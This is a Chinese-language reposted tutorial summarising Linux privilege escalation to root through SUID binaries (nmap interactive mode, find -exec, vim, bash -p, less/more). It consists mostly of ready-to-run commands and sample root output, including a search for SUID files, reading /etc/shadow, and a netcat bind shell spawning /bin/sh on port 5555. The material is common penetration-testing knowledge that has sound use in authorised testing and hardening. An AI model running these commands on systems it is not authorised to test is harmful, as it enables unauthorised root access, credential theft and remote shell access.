[提權]對 SUID 可提權 Root Shell 的總結


0x01 簡介

SUID是Linux的一種權限機制,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。如果擁有SUID權限,那么就可以利用系統中的二進制文件和工具來進行root提權。

已知的可以用來提權的Linux可執行文件有:

Nmap、Vim、find、Bash、More、Less、Nano、cp

下面的命令可以發現所有的系統中運行的SUID可執行文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 

上面的所有二進制文件都可以在root權限下運行,因為他們的owner是root,並且他們的權限中含有s。s權限使一般使用者臨時具有該文件所屬主/組的執行權限。所以這里就可以假冒 root 用戶來執行一些高權操作。

0x02 Nmap

早版本的Nmap(2.02到5.21)有交互模式,允許用戶執行shell命令。Nmap也是root權限下運行的二進制文件。通過參數interactive可以進入交互模式:

nmap --interactive

下面的命令可以對shell提權:

nmap> !sh
sh-3.2# whoami
root

Metasploit也有利用SUID Nmap進行提權攻擊:

exploit/unix/local/setuid_nmap

0x03 Find

如果find以SUID權限運行,所有通過find執行的命令都會以root權限運行。

touch pentestlab
find pentestlab -exec whoami \;

主流的Linux操作系統都安裝了netcat,可以將該命令提權為root shell。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

當然除了借助 nc 也可以參考其他工具:[Shell]多姿勢反彈shell

0x04 Vim

如果 vim 以 SUID 運行,就會繼承 root 用戶的權限,可以讀取系統中所有的文件。

vim.tiny /etc/shadow

通過vim運行shell:

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

0x05 Bash

下面的命令可以以root權限打開bash shell:

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

0x06 Less/More

Less 和 more 都可以執行提權的shell

less /etc/passwd
!/bin/sh

0x07 參考鏈接

https://www.freebuf.com/articles/system/149118.html
https://pentestlab.blog/2017/09/25/suid-executables/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM